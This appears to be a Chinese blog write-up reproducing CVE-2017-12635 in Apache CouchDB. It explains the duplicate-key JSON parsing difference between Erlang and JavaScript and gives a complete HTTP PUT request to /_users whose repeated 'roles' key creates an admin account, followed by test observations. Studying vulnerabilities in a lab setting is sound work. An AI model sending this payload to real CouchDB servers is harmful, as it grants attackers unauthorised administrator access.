zoukankan      html  css  js  c++  java
  • Couchdb 垂直权限绕过漏洞(CVE-2017-12635)漏洞复现

    couchdb简介:

    • Apache CouchDB是一个开源的NoSQL数据库,专注于易用性和成为“完全拥抱web的数据库”。它是一个使用JSON作为数据存储格式,javascript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。 

    漏洞原理:

    • CVE-2017-12635:Erlang和JavaScript,对JSON解析方式的不同,导致语句执行产生差异性。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。
    • 举例:
      Erlang:
      
      > jiffy:decode("{"a":"1", "a":"2"}").
      
      {[{<<"a">>,<<"1">>},{<<"a">>,<<"2">>}]}
      JavaScript:
      
      > JSON.parse("{"a":"1", "a": "2"}")
      
      {a: "2"}
    • 在定义一对键值对时,Eralang解析器将存储两个值;javascript只存储第二个值。但jiffy实现时,getter函数只返回第一个值。这里涉及的函数参考:https://www.anquanke.com/post/id/87256https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635

    影响版本:

    • 小于 1.7.0 以及 小于 2.1.1

    复现:

    • 构造创建用户的数据包
    •  org.couchdb,user:$name  与name:$name是对应的,此时我们没有admin权限,所以会报错forbidden。
    • 绕过role验证:
    • payload:
      •   
        PUT /_users/org.couchdb.user:vulhub HTTP/1.1
        Host: 192.168.183.134:5984
        Accept: */*
        Accept-Language: en
        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
        Connection: close
        Content-Type: application/json
        Content-Length: 110
        
        {
          "type": "user",
          "name": "vulhub",
          "roles": ["_admin"],
          "roles":[],
          "password": "vulhub111"
        }

    一些小思考:

    • 虽然分析说,只读取第一个键值,按理来说,第二个值是任意的应该不影响,但我测试发现,只有为空时,poc才正确操作。

    • 且在创建一个成功后,再重复发包,也会报错409,
    • 修改已创建的密码也不行

    总结:

      这个还是比较好利用,但是请别借此破坏信息安全,仅为学习。

  • 相关阅读:
    109. 有序链表转换二叉搜索树
    108. 将有序数组转换为二叉搜索树
    235. 二叉搜索树的最近公共祖先
    538. 把二叉搜索树转换为累加树
    230. 二叉搜索树中第K小的元素
    669. 修剪二叉搜索树
    513. 找树左下角的值
    637. 二叉树的层平均值
    671. 二叉树中第二小的节点
    DDL-Oracle中的5种约束总结(未完待续)
  • 原文地址:https://www.cnblogs.com/foe0/p/11375757.html
Copyright © 2011-2022 走看看